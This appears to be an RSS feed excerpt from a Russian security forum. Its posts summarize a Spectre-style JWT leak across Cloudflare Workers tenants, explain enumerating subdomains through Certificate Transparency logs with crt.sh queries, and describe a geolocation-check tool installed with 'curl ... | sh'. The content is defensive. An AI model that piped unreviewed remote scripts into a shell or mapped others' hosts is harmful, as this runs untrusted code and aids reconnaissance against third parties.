&#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;&#x430; &#x441; &#x43F;&#x438;&#x442;&#x430;&#x43D;&#x438;&#x435;&#x43C; &#x43E;&#x442; &#x441;&#x435;&#x442;&#x438; (&#x443;&#x43C;&#x43D;&#x44B;&#x435; &#x440;&#x43E;&#x437;&#x435;&#x442;&#x43A;&#x438;, &#x440;&#x435;&#x43B;&#x435;) &#x2014; &#x438;&#x43C;&#x435;&#x43D;&#x43D;&#x43E; &#x43E;&#x43D;&#x438; &#x438; &#x443;&#x434;&#x435;&#x440;&#x436;&#x438;&#x432;&#x430;&#x44E;&#x442; &#x43C;&#x435;&#x448;;&#x438; &#x43B;&#x438;&#x448;&#x44C; &#x43F;&#x43E;&#x441;&#x43B;&#x435; &#x44D;&#x442;&#x43E;&#x433;&#x43E; &#x442;&#x440;&#x43E;&#x433;&#x430;&#x442;&#x44C; &#x43A;&#x430;&#x43D;&#x430;&#x43B; Zigbee, &#x437;&#x430;&#x440;&#x430;&#x43D;&#x435;&#x435; &#x43F;&#x440;&#x438;&#x433;&#x43E;&#x442;&#x43E;&#x432;&#x438;&#x432;&#x448;&#x438;&#x441;&#x44C; &#x43F;&#x435;&#x440;&#x435;&#x43F;&#x43E;&#x434;&#x43A;&#x43B;&#x44E;&#x447;&#x430;&#x442;&#x44C; &#x447;&#x430;&#x441;&#x442;&#x44C; &#x443;&#x441;&#x442;&#x440;&#x43E;&#x439;&#x441;&#x442;&#x432;.



&#x418;&#x441;&#x442;&#x43E;&#x447;&#x43D;&#x438;&#x43A;&#x438;


NXP JN-AN-1079: Co-existence of IEEE 802.15.4 at 2.4 GHz &#x2014; &#x447;&#x430;&#x441;&#x442;&#x43E;&#x442;&#x44B; &#x438; &#x43F;&#x43E;&#x43B;&#x43E;&#x441;&#x44B; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x43E;&#x432;
TI Z-Stack: FCC Certification Considerations &#x2014; &#x43E;&#x433;&#x440;&#x430;&#x43D;&#x438;&#x447;&#x435;&#x43D;&#x438;&#x44F; &#x43C;&#x43E;&#x449;&#x43D;&#x43E;&#x441;&#x442;&#x438; &#x43D;&#x430; 26-&#x43C; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x435;
Zigbee2MQTT: &#x43A;&#x43E;&#x43D;&#x444;&#x438;&#x433;&#x443;&#x440;&#x430;&#x446;&#x438;&#x44F; &#x441;&#x435;&#x442;&#x438; &#x438; range and stability
Home Assistant: ZHA &#x2014; &#x432;&#x44B;&#x431;&#x43E;&#x440; &#x43A;&#x430;&#x43D;&#x430;&#x43B;&#x430; &#x438; &#x440;&#x435;&#x43A;&#x43E;&#x43C;&#x435;&#x43D;&#x434;&#x430;&#x446;&#x438;&#x438; &#x43F;&#x43E; USB
USB-IF: USB 3.0 Radio Frequency Interference Impact on 2.4 GHz Wireless Devices


&#x1F4AC; &#x412;&#x43E;&#x43F;&#x440;&#x43E;&#x441; &#x43A; &#x441;&#x43E;&#x43E;&#x431;&#x449;&#x435;&#x441;&#x442;&#x432;&#x443; &#x41A;&#x430;&#x43A;&#x43E;&#x439; &#x43A;&#x430;&#x43D;&#x430;&#x43B; &#x43E;&#x431;&#x441;&#x43B;&#x443;&#x436;&#x438;&#x432;&#x430;&#x435;&#x442; &#x432;&#x430;&#x448;&#x443; Zigbee-&#x441;&#x435;&#x442;&#x44C; &#x438; &#x434;&#x43E;&#x432;&#x43E;&#x434;&#x438;&#x43B;&#x43E;&#x441;&#x44C; &#x43B;&#x438; &#x435;&#x433;&#x43E; &#x43F;&#x435;&#x440;&#x435;&#x441;&#x442;&#x430;&#x432;&#x43B;&#x44F;&#x442;&#x44C;? &#x418; &#x447;&#x442;&#x43E; &#x432; &#x438;&#x442;&#x43E;&#x433;&#x435; &#x441;&#x440;&#x430;&#x431;&#x43E;&#x442;&#x430;&#x43B;&#x43E; &#x2014; &#x432;&#x44B;&#x43D;&#x43E;&#x441; &#x430;&#x434;&#x430;&#x43F;&#x442;&#x435;&#x440;&#x430; &#x43D;&#x430; &#x443;&#x434;&#x43B;&#x438;&#x43D;&#x438;&#x442;&#x435;&#x43B;&#x44C; &#x438;&#x43B;&#x438; &#x432;&#x441;&#x451;-&#x442;&#x430;&#x43A;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x435;&#x437;&#x434; &#x43F;&#x43E; &#x441;&#x43F;&#x435;&#x43A;&#x442;&#x440;&#x443;?</description><pubDate>Fri, 21 Aug 2026 08:14:23 +0000</pubDate></item><item><title>&#x427;&#x443;&#x436;&#x43E;&#x439; JWT &#x441; edge-&#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x44B;: &#x447;&#x435;&#x43C; &#x43E;&#x431;&#x435;&#x440;&#x43D;&#x443;&#x43B;&#x430;&#x441;&#x44C; &#x441;&#x442;&#x430;&#x432;&#x43A;&#x430; &#x43D;&#x430; &#x438;&#x437;&#x43E;&#x43B;&#x44F;&#x442;&#x44B; V8 &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x43F;&#x440;&#x43E;&#x446;&#x435;&#x441;&#x441;&#x43E;&#x432;</title><link><![CDATA[https://openode.xyz/topic/2051-%D1%87%D1%83%D0%B6%D0%BE%D0%B9-jwt-%D1%81-edge-%D0%BF%D0%BB%D0%B0%D1%82%D1%84%D0%BE%D1%80%D0%BC%D1%8B-%D1%87%D0%B5%D0%BC-%D0%BE%D0%B1%D0%B5%D1%80%D0%BD%D1%83%D0%BB%D0%B0%D1%81%D1%8C-%D1%81%D1%82%D0%B0%D0%B2%D0%BA%D0%B0-%D0%BD%D0%B0-%D0%B8%D0%B7%D0%BE%D0%BB%D1%8F%D1%82%D1%8B-v8-%D0%B2%D0%BC%D0%B5%D1%81%D1%82%D0%BE-%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D1%81%D1%81%D0%BE%D0%B2/?do=findComment&comment=9221]]></link><description><![CDATA[Скорость и точность утечки по данным препринта arXiv:2608.17043

Бессерверные платформы продали разработчикам скорость холодного старта. Заплатили за неё границей между арендаторами: там, где раньше стоял отдельный процесс, теперь стоит движок JavaScript. Насколько прочна такая граница, 17 августа померили в препринте «Remote-Timer-as-a-Service: Efficient Microarchitectural Leakage in the Cloud with Remote Timers». 

Результат группы в составе Мартина Шварцля, Хаочэна Сяо, Альберта Педерсена, Сэма Эйнсворта и Найджела Топхэма выглядит так: из памяти постороннего воркера на Cloudflare Workers был извлечён JWT, скорость извлечения — 12 бит в секунду при точности 99,16 %. В Cloudflare говорят, что соответствующие меры внедрены ещё в 2025-м. 

Ставка, которую сделала платформа

Персонального процесса на клиента в Workers нет, и это выбор осознанный. Формулировка из документации самой компании: «if Cloudflare had to run a separate process for every guest, the number of tenants Cloudflare could support would be drastically reduced». Разделяют арендаторов изоляты V8 — то есть ядро операционной системы к разграничению отношения не имеет, за него отвечает движок JavaScript. 

ℹ️ СПРАВКА Изолят V8 — отдельный экземпляр движка с собственной кучей и собственным глобальным объектом. В пределах процесса их бывает несколько тысяч. Код на JavaScript разделён между ними полностью; процессор же видит общую физическую память и общие кеши. 

Именно в эту щель и бьёт Spectre: про изоляты спекулятивное выполнение не осведомлено, оно оперирует адресами. Дополнительная мера у Cloudflare есть — «кордоны», при которых арендаторы разных тарифов попадают в разные экземпляры рантайма. Соседство внутри одного кордона это, впрочем, не отменяет. 

История в двух актах

Ирония в том, что пробитую защиту сконструировали те же люди. Акт первый — 2021 год: Шварцль с соавторами продемонстрировали утечку в 120 бит в час и тут же предложили лекарство под названием Dynamic Process Isolation. Идея экономная: отселять в персональный процесс не всех подряд, а только воркеров с подозрительными показаниями счётчиков производительности; заявленная доля ложных срабатываний — 0,61 %. 

Акт второй — нынешняя работа, и вердикт в ней короткий: «the production implementation of DyPrIs was insufficient». 

Разницу в скорости полезно перевести в бытовые единицы. Двенадцать бит в секунду складываются в 43 200 бит за час — трёхсоткратный с лишним отрыв от прошлого результата, если быть точным, в 360 раз. Возьмём токен размером 300 байт, то есть 2400 бит: на прежней скорости его выкачивали бы двадцать часов, на нынешней хватит примерно трёх с половиной минут. Это уже не лабораторная демонстрация, а пригодное для работы окно. Оговорюсь: пересчёт здесь мой, в препринте подобной оценки нет. 

Чем меряли время там, где часов не выдают

Слева — ограничения по документации Cloudflare, справа — подход препринта

Кеш-атака без измерения времени невозможна, и гайки на этом направлении в Workers затянуты давно. Вызов Date.now() во время исполнения кода стоит на месте: значение сдвигается только после операции ввода-вывода. Потоки недоступны, SharedArrayBuffer недоступен, а значит и кустарный счётчик через гонку двух потоков собрать не из чего. 

Обход авторы построили на выносе часов наружу: замеры делает сервер атакующего по сетевым ответам, а перед этим односбитовая разница раздувается микроархитектурным усилением до масштаба, различимого через сеть. Детали механики приводит The Hacker News — по его разбору, удалённым таймером служит обмен по WebSocket, а изолят не даёт умереть между запросами Durable Objects. В абстракте препринта этих подробностей нет. 

Ответные меры и почему точка не поставлена

Согласованное раскрытие, судя по абстракту, привело к трём изменениям: ограничения V8 Sandbox, переработанное обнаружение внутри DyPrIs и аппаратное запирание кучи арендатора через memory protection keys. Часть перечисленного разобрана в корпоративном блоге — запись «Safe in the sandbox» датирована 25 сентября 2025 года. Тезис про отсутствие следов эксплуатации на протяжении трёх лет стоит держать в уме именно как позицию вендора: независимой проверки не было. 

⚠️ ОСТОРОЖНО Схема «атака → защита → обход защиты» отработала уже второй круг. У Cloudflare на этот счёт есть честная строчка в документации: «Spectre does not have an official solution. Not even when using heavyweight virtual machines». Ни одну мультиарендную платформу считать защищённой окончательно нельзя. 

И вывод отсюда следует более широкий, чем «у Cloudflare нашли баг». Изоляция средствами языка обходится дешевле процессной, поэтому её берут везде, где нужна плотность: виртуальный хостинг, чужие бессерверные рантаймы, ваш собственный сервис, гоняющий пользовательский JavaScript внутри одного процесса Node. Как только в модели угроз появляется сосед по железу, реальная граница проходит совсем не по тем линиям, которые видны в коде. 

✅ КАК ПРАВИЛЬНО Выяснить фактический срок жизни выдаваемых токенов: чем он меньше, тем уже окно для неспешной утечки.Долгоживущие ключи в памяти edge-функций не держать — запрашивать по мере надобности и не складывать в глобальную область изолята.Под по-настоящему чувствительные вычисления подбирать среду с процессной или аппаратной границей, а не с языковой.

JWT='eyJhbGciOi...'   # свой токен
python3 - &lt;&lt;'EOF'
import base64, json, os
t = os.environ["JWT"].split(".")[1]
p = json.loads(base64.urlsafe_b64decode(t + "=" * (-len(t) % 4)))
print("iat", p.get("iat"), "exp", p.get("exp"), "→ живёт", p["exp"] - p["iat"], "с")
EOF

Перед запуском переменную нужно экспортировать: export JWT='...'. Расхождение exp и iat в сутках означает, что окно для медленного вычитывания у атакующего практически неограниченное. Расхождение в минутах — что похищенный токен протухнет раньше, чем его успеют дочитать. 



Источники


arXiv:2608.17043 — Remote-Timer-as-a-Service (17.08.2026)
arXiv:2110.04751 — Dynamic Process Isolation (2021)
Cloudflare Workers — Security model
Cloudflare Blog — Safe in the sandbox (25.09.2025)
The Hacker News — разбор атаки (19.08.2026)


💬 ВОПРОС К СООБЩЕСТВУ Входит ли сосед по железу в вашу модель угроз — или расчёт всё-таки на то, что провайдер разберётся сам? И встречался ли кто-нибудь с обратным переездом: с бессерверной платформы обратно на свой VPS именно из-за подобных исследований?]]></description><pubDate>Thu, 20 Aug 2026 08:18:51 +0000</pubDate></item><item><title>&#x420;&#x430;&#x437;&#x432;&#x435;&#x434;&#x43A;&#x430; &#x43F;&#x43E; &#x436;&#x443;&#x440;&#x43D;&#x430;&#x43B;&#x430;&#x43C; &#x441;&#x435;&#x440;&#x442;&#x438;&#x444;&#x438;&#x43A;&#x430;&#x442;&#x43E;&#x432;: &#x43A;&#x430;&#x43A; &#x447;&#x443;&#x436;&#x430;&#x44F; &#x438;&#x43D;&#x444;&#x440;&#x430;&#x441;&#x442;&#x440;&#x443;&#x43A;&#x442;&#x443;&#x440;&#x430; &#x440;&#x438;&#x441;&#x443;&#x435;&#x442;&#x441;&#x44F; &#x437;&#x430; &#x43F;&#x44F;&#x442;&#x44C; &#x43C;&#x438;&#x43D;&#x443;&#x442;</title><link><![CDATA[https://openode.xyz/topic/2050-%D1%80%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D0%BA%D0%B0-%D0%BF%D0%BE-%D0%B6%D1%83%D1%80%D0%BD%D0%B0%D0%BB%D0%B0%D0%BC-%D1%81%D0%B5%D1%80%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D0%B2-%D0%BA%D0%B0%D0%BA-%D1%87%D1%83%D0%B6%D0%B0%D1%8F-%D0%B8%D0%BD%D1%84%D1%80%D0%B0%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0-%D1%80%D0%B8%D1%81%D1%83%D0%B5%D1%82%D1%81%D1%8F-%D0%B7%D0%B0-%D0%BF%D1%8F%D1%82%D1%8C-%D0%BC%D0%B8%D0%BD%D1%83%D1%82/?do=findComment&comment=9220]]></link><description><![CDATA[Журнал, в который навсегда уходит каждое имя из выданного сертификата

Чтобы получить схему чужой сети, сегодня не нужны ни сканеры портов, ни словарные переборы DNS. Достаточно открытого журнала, куда удостоверяющие центры складывают всё, что они когда-либо подписали, — Certificate Transparency. Один HTTP-запрос отдаёт список хостов вместе с датами выдачи с точностью до секунды. 

Обратная сторона у этого инструмента такая же прямая. Ваш собственный домен лежит в тех же журналах, и сведения оттуда никуда не денутся: записи не удаляются в принципе. Поднятая утром панель на никому не известном поддомене начнёт собирать посторонние GET /.env раньше, чем вы дойдёте до кухни за чаем. 

ℹ️ Справка Текст рассчитан на тех, у кого есть домен и хотя бы один сервис под HTTPS — панель Remnawave или Marzban, 3x-ui, Grafana, Vaultwarden, Immich, тестовый стенд. Владельцам чужих подписок на VPN он пригодится скорее как описание одной из техник разведки по открытым источникам. 

Пять минут наблюдателя

Логи целиком зеркалируются мониторами — crt.sh, Censys, merklemap — и через них ищутся по любому имени. Простейший вариант обращения выглядит так: 

curl -s 'https://crt.sh/?q=example.com&amp;output=json' | jq -r '.[].name_value' | tr ';' '\n' | sort -u

Подстановочный символ % (в адресе он кодируется как %25) возвращает разом всю россыпь поддоменов. На случай ответа Unsupported use of '%' у проекта открыта база напрямую: 

psql -h crt.sh -p 5432 -U guest certwatch

⚠️ Осторожно Правила поиска на crt.sh переписывались не раз: обработку % то ограничивали, то возвращали обратно. В автоматизации на неё полагаться не стоит — разбирайте ответ и по отказу уходите на psql либо на альтернативный монитор. На сами журналы эти изменения никак не влияют. 

Насколько богатый улов там бывает, показали Робертс и Левин (WPES 2019, University of Maryland), разобрав полный срез сертификатов из Censys. Из одних только имён хостов извлеклись более 130 000 имён пользователей на семи сайтах, 5 861 адрес электронной почты в поддоменах одного облачного сервиса баз данных, 77 825 доменов, по которым восстанавливаются связи «поставщик — клиент», и 25 346 уникальных поддоменов одной только компании Discovery. Регулярно всплывали внутренние QA- и staging-серверы, админки, кодовые имена невыпущенных продуктов. 

Что о вас самих знает наблюдатель, покажет одна строка: 

openssl s_client -connect example.com:443 -servername example.com &lt;/dev/null 2&gt;/dev/null \
  | openssl x509 -noout -text | grep -A1 "Subject Alternative Name"

Каждая строка вывода давно прочитана кем-то помимо вас. 

Откуда взялась эта публичность и почему её не выключить

Задумывался механизм как средство против подделки сертификатов самими удостоверяющими центрами. Раз каждая выдача ложится в неудаляемый журнал на дереве Меркла, владелец домена способен заметить чужую подпись на своё имя. Замысел разумный и реализован он именно так, как планировалось. 

Загвоздка в слове «публичный»: доступ к журналу есть у всех, а не только у того, чей домен там упомянут. Уклониться не выйдет — сертификат, отсутствующий в логах, браузеры признают недействительным. 

По правилам Chrome сертификату со сроком до 180 дней нужно не меньше двух SCT (подписанных отметок о включении в лог), а при более длинном сроке — не меньше трёх; при этом хотя бы пара SCT обязана происходить от различных операторов логов. Safari довольствуется двумя. Сам SCT — обязательство лога добавить запись в дерево в рамках Maximum Merge Delay, то есть обычно в течение суток; фактически поиск находит её через считаные минуты. 

❗ Главное Ни Let's Encrypt, ни какой-либо другой публично доверенный центр не даёт настройки «выдай сертификат, но имя в журнал не пиши». Решать приходится другое: какое именно имя вы отдадите логу и нужен ли этому хосту публичный сертификат вообще. 

23 секунды и 84 секунды

Хронология: от запроса сертификата до сканера на вашем порту

Как быстро строчка из журнала оборачивается трафиком на 443-м порту, замеряли дважды — независимыми командами, с интервалом в четыре года. 

В 2018-м Шайтле с соавторами (IMC 2018, TU München и партнёры) развернули 11 honeypot-поддоменов со случайными двенадцатисимвольными именами. Наружу эти имена попали единственным путём — через CT-лог. DNS-запросы начались спустя 73 секунды; резолверам Google, 1&amp;1 и Amazon хватило 12 минут, чтобы обойти всю одиннадцатку. Первое HTTP-соединение приходило где-то между 59 минутами и 19 сутками, но чаще всего укладывалось в первые пару часов. Одна из машин прошлась по honeypot'ам сканом 30 портов. 

Спустя четыре года измерение повторили в UCSB — группа Плетинкса (EuroS&amp;P 2023). Цифры уменьшились примерно на порядок: медиана до первого DNS-запроса составила 23 секунды, до первого HTTPS-запроса — 84 секунды. 

Отдельного внимания заслуживает их двухсотдневный эксперимент. Одни хосты обходились самоподписанными сертификатами и в CT не попадали, другие получали обычный публичный. За 200 дней на контрольную группу по IPv6 не пришло ни одного входящего пакета. Вторая группа собрала порядка 2 700 — с 959 уникальных адресов из 112 автономных систем. По IPv4 к засвеченным именам обращались с 2 291 адреса, принадлежащих 267 AS. 

Важна тут именно IPv6-половина: перебирать такое адресное пространство бессмысленно, следовательно, узнать об этих машинах можно было только из журнала. 

Четыре развилки — и цена каждой

Список SAN — это и есть то, что читают посторонние


ПодходИмя в логеЧем платите
Сертификат на каждый хостВсе именаПолная карта инфраструктуры наружу
Один wildcard на зону*.example.comDNS-01, общий ключ на всю зону
REALITY (XTLS)НичегоТолько прокси, не веб-сервисы
Свой CA, самоподписанныйНичегоРучная раздача корня на клиенты


Wildcard

Шаг наименьшего сопротивления, и ровно его советуют Робертс с Левином. Оговорка существенная: маскируется лишь один уровень, крайний слева. Хост a.b.example.com под *.example.com не попадает — ему потребуется собственный сертификат, а значит, имя вновь окажется в журнале. Wildcard у Let's Encrypt выпускается исключительно по DNS-01; HTTP-01 и TLS-ALPN-01 для валидации подстановочных имён прямо непригодны. 

certbot certonly --dns-cloudflare \
  --dns-cloudflare-credentials /root/.secrets/cf.ini \
  -d 'example.com' -d '*.example.com'

Расплата — единственный приватный ключ, обслуживающий весь домен: падение хоста, где он хранится, означает падение всей зоны. 

REALITY

Здесь проблема снимается на корню, поскольку сертификат не выпускается вовсе: рукопожатие TLS заимствуется у постороннего сайта, прописанного в dest/target, и клиенту предъявляется именно его сертификат. Отправлять в CT-лог попросту нечего. Ограничение очевидное — схема закрывает прокси-трафик, но Grafana или Immich таким образом не укроешь. 

Собственный удостоверяющий центр

Вариант для внутренних сервисов, которыми пользуетесь вы и пара-тройка ваших устройств. Корень придётся вручную разложить по всем клиентам, зато перечень имён остаётся вашим частным делом. 

Смириться и укрепить периметр

Последний путь — согласиться с публичностью имён. При таком выборе всё, что не совпадает с известным именем, не должно доходить даже до рукопожатия: 

server {
    listen               443 ssl default_server;
    ssl_reject_handshake on;   # nginx 1.19.4 и новее
}

Дальше — проверка подлинности на входе, а не за формой логина: mTLS, basic-auth на уровне обратного прокси, допуск исключительно из VPN-подсети. Восемьдесят четыре секунды означают не «успею настроить по-быстрому», а «времени нет вовсе»: к первому чужому запросу защита должна уже стоять. 

🔒 Безопасность Читать CT-журналы законно — это открытые данные. Незаконным дело становится ровно тогда, когда обнаруженные хосты начинают щупать на доступность и уязвимости без письменного согласия владельца. Черта пролегает между «заглянул в открытый журнал» и «послал пакет на чужую машину». 



Источники


Certificate Transparency — How CT Works — устройство логов, SCT, MMD
Chrome Certificate Transparency Policy — требования к числу SCT и операторам
Scheitle et al., The Rise of Certificate Transparency and Its Implications on the Internet Ecosystem, IMC 2018 — honeypot, 73 секунды до DNS
Pletinckx et al., Certifiably Vulnerable: Using CT Logs for Target Reconnaissance, EuroS&amp;P 2023 — 23 и 84 секунды, 200-дневный honeypot
Roberts &amp; Levin, When Certificate Transparency Is Too Transparent, WPES 2019 — что утекает через имена хостов
Let's Encrypt: Challenge Types — DNS-01 как единственный путь к wildcard
nginx: ssl_reject_handshake
XTLS REALITY: конфигурация


💬 Вопрос к сообществу Прогоните свой домен через crt.sh — много ли имён нашлось и какие из них вам не хотелось бы там видеть? А те, кто уже сидит на wildcard: что вы придумали с общим приватным ключом на всю зону?]]></description><pubDate>Wed, 19 Aug 2026 08:15:56 +0000</pubDate></item><item><title>&#x41F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x438;&#x442;&#x44C; &#x441;&#x432;&#x43E;&#x44E; &#x442;&#x43E;&#x447;&#x43A;&#x443; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430; &#x43E;&#x434;&#x43D;&#x43E;&#x439; &#x43A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x43E;&#x439;: &#x440;&#x430;&#x437;&#x431;&#x43E;&#x440; geocheck &#x43E;&#x442; Remnawave</title><link><![CDATA[https://openode.xyz/topic/2049-%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D1%8C-%D1%81%D0%B2%D0%BE%D1%8E-%D1%82%D0%BE%D1%87%D0%BA%D1%83-%D0%B2%D1%8B%D1%85%D0%BE%D0%B4%D0%B0-%D0%BE%D0%B4%D0%BD%D0%BE%D0%B9-%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%BE%D0%B9-%D1%80%D0%B0%D0%B7%D0%B1%D0%BE%D1%80-geocheck-%D0%BE%D1%82-remnawave/?do=findComment&comment=9219]]></link><description>geocheck: &#x43F;&#x44F;&#x442;&#x44C; &#x43F;&#x440;&#x43E;&#x432;&#x435;&#x440;&#x43E;&#x43A; &#x438; &#x43E;&#x434;&#x438;&#x43D; &#x43E;&#x442;&#x447;&#x451;&#x442;
&#x41A;&#x43E;&#x43C;&#x430;&#x43D;&#x434;&#x430; Remnawave &#x432;&#x44B;&#x43B;&#x43E;&#x436;&#x438;&#x43B;&#x430; geocheck &#x2014; &#x443;&#x442;&#x438;&#x43B;&#x438;&#x442;&#x443;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x430;&#x44F; &#x437;&#x430; &#x43E;&#x434;&#x438;&#x43D; &#x43F;&#x440;&#x43E;&#x433;&#x43E;&#x43D; &#x441;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x435;&#x442; &#x43F;&#x43E;&#x440;&#x442;&#x440;&#x435;&#x442; &#x432;&#x430;&#x448;&#x435;&#x439; &#x442;&#x43E;&#x447;&#x43A;&#x438; &#x432;&#x44B;&#x445;&#x43E;&#x434;&#x430;. &#x412; &#x43E;&#x442;&#x447;&#x451;&#x442;&#x435; &#x43F;&#x44F;&#x442;&#x44C; &#x432;&#x435;&#x449;&#x435;&#x439; &#x441;&#x440;&#x430;&#x437;&#x443;: &#x447;&#x435;&#x43C; &#x432;&#x430;&#x448; &#x430;&#x434;&#x440;&#x435;&#x441; &#x432;&#x44B;&#x433;&#x43B;&#x44F;&#x434;&#x438;&#x442; &#x434;&#x43B;&#x44F; &#x430;&#x43D;&#x442;&#x438;&#x444;&#x440;&#x43E;&#x434;-&#x441;&#x438;&#x441;&#x442;&#x435;&#x43C;, &#x43A;&#x443;&#x434;&#x430; &#x432;&#x430;&#x441; &#x43F;&#x43E;&#x43C;&#x435;&#x449;&#x430;&#x44E;&#x442; &#x441;&#x435;&#x440;&#x432;&#x438;&#x441;&#x44B; &#x433;&#x435;&#x43E;&#x43B;&#x43E;&#x43A;&#x430;&#x446;&#x438;&#x438;, &#x43D;&#x430;&#x441;&#x43A;&#x43E;&#x43B;&#x44C;&#x43A;&#x43E; &#x43F;&#x440;&#x44F;&#x43C;&#x43E; &#x43F;&#x430;&#x43A;&#x435;&#x442;&#x44B; &#x434;&#x43E;&#x431;&#x438;&#x440;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x434;&#x43E; &#x43A;&#x440;&#x443;&#x43F;&#x43D;&#x44B;&#x445; &#x441;&#x435;&#x442;&#x435;&#x439;, &#x43D;&#x435; &#x43E;&#x442;&#x432;&#x435;&#x447;&#x430;&#x435;&#x442; &#x43B;&#x438; &#x43F;&#x43E; &#x434;&#x43E;&#x440;&#x43E;&#x433;&#x435; &#x43F;&#x43E;&#x441;&#x440;&#x435;&#x434;&#x43D;&#x438;&#x43A; &#x432;&#x43C;&#x435;&#x441;&#x442;&#x43E; &#x446;&#x435;&#x43B;&#x438; &#x438; &#x43E;&#x442;&#x434;&#x430;&#x434;&#x443;&#x442; &#x43B;&#x438; &#x43D;&#x430; &#x44D;&#x442;&#x43E;&#x442; &#x430;&#x434;&#x440;&#x435;&#x441; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x43D;&#x442; Netflix &#x441; ChatGPT. 
&#x410;&#x43A;&#x442;&#x443;&#x430;&#x43B;&#x44C;&#x43D;&#x430; &#x43D;&#x430; &#x441;&#x435;&#x433;&#x43E;&#x434;&#x43D;&#x44F; v0.3.0, &#x432;&#x44B;&#x448;&#x435;&#x434;&#x448;&#x430;&#x44F; 18 &#x430;&#x432;&#x433;&#x443;&#x441;&#x442;&#x430;; &#x43B;&#x438;&#x446;&#x435;&#x43D;&#x437;&#x438;&#x44F; MIT. &#x412;&#x43E;&#x437;&#x440;&#x430;&#x441;&#x442; &#x43F;&#x440;&#x43E;&#x435;&#x43A;&#x442;&#x430; &#x438;&#x437;&#x43C;&#x435;&#x440;&#x44F;&#x435;&#x442;&#x441;&#x44F; &#x434;&#x43D;&#x44F;&#x43C;&#x438; &#x2014; &#x432;&#x435;&#x442;&#x43A;&#x430; &#x43E;&#x442; v0.2.2 &#x434;&#x43E; v0.3.0 &#x443;&#x43C;&#x435;&#x441;&#x442;&#x438;&#x43B;&#x430;&#x441;&#x44C; &#x432; &#x43E;&#x434;&#x43D;&#x438; &#x441;&#x443;&#x442;&#x43A;&#x438;, &#x442;&#x43E;&#x433;&#x434;&#x430; &#x436;&#x435; &#x432; Docker Hub &#x43F;&#x43E;&#x44F;&#x432;&#x438;&#x43B;&#x438;&#x441;&#x44C; &#x43E;&#x431;&#x440;&#x430;&#x437;&#x44B;. &#x414;&#x430;&#x43B;&#x44C;&#x448;&#x435; &#x2014; &#x43F;&#x43E; &#x431;&#x43B;&#x43E;&#x43A;&#x430;&#x43C; &#x43E;&#x442;&#x447;&#x451;&#x442;&#x430;, &#x441; &#x43E;&#x433;&#x43E;&#x432;&#x43E;&#x440;&#x43A;&#x430;&#x43C;&#x438; &#x43E; &#x442;&#x43E;&#x43C;, &#x447;&#x435;&#x43C; &#x43F;&#x440;&#x438;&#x445;&#x43E;&#x434;&#x438;&#x442;&#x441;&#x44F; &#x440;&#x430;&#x441;&#x43F;&#x43B;&#x430;&#x447;&#x438;&#x432;&#x430;&#x442;&#x44C;&#x441;&#x44F; &#x437;&#x430; &#x443;&#x434;&#x43E;&#x431;&#x441;&#x442;&#x432;&#x43E;. 
&#x41A;&#x430;&#x43A; &#x43F;&#x43E;&#x441;&#x442;&#x430;&#x432;&#x438;&#x442;&#x44C;: &#x442;&#x440;&#x438; &#x432;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442;&#x430;
&#x411;&#x44B;&#x441;&#x442;&#x440;&#x435;&#x435; &#x432;&#x441;&#x435;&#x433;&#x43E; &#x2014; &#x447;&#x435;&#x440;&#x435;&#x437; &#x43B;&#x430;&#x443;&#x43D;&#x447;&#x435;&#x440;, &#x43A;&#x43E;&#x442;&#x43E;&#x440;&#x44B;&#x439; &#x441;&#x430;&#x43C; &#x43E;&#x43F;&#x440;&#x435;&#x434;&#x435;&#x43B;&#x438;&#x442; &#x43D;&#x430;&#x43B;&#x438;&#x447;&#x438;&#x435; Docker &#x438;&#x43B;&#x438; Podman, &#x430; &#x43F;&#x440;&#x438; &#x438;&#x445; &#x43E;&#x442;&#x441;&#x443;&#x442;&#x441;&#x442;&#x432;&#x438;&#x438; &#x441;&#x43A;&#x430;&#x447;&#x430;&#x435;&#x442; &#x431;&#x438;&#x43D;&#x430;&#x440;&#x43D;&#x438;&#x43A; &#x43F;&#x43E;&#x434; &#x432;&#x430;&#x448;&#x443; &#x43F;&#x43B;&#x430;&#x442;&#x444;&#x43E;&#x440;&#x43C;&#x443;: 
curl -fsSL https://geocheck.ing | sh

# &#x444;&#x43B;&#x430;&#x433;&#x438; &#x43F;&#x435;&#x440;&#x435;&#x434;&#x430;&#x44E;&#x442;&#x441;&#x44F; &#x43F;&#x43E;&#x441;&#x43B;&#x435; -s --
curl -fsSL https://geocheck.ing | sh -s -- -4 --detail
&#x412;&#x430;&#x440;&#x438;&#x430;&#x43D;&#x442; &#x441; &#x43A;&#x43E;&#x43D;&#x442;&#x435;&#x439;&#x43D;&#x435;&#x440;&#x43E;&#x43C; &#x43D;&#x430;&#x43F;&#x440;&#x44F;&#x43C;&#x443;&#x44E;: 
docker pull remnawave/geocheck:ing
docker run --rm -it --network host remnawave/geocheck:ing
&#x41B;&#x438;&#x431;&#x43E; &#x441;&#x431;&#x43E;&#x440;&#x43A;&#x430; &#x438;&#x437; &#x438;&#x441;&#x445;&#x43E;&#x434;&#x43D;&#x438;&#x43A;&#x43E;&#x432;: 
go install github.com/remnawave/geocheck/cmd/geocheck@latest
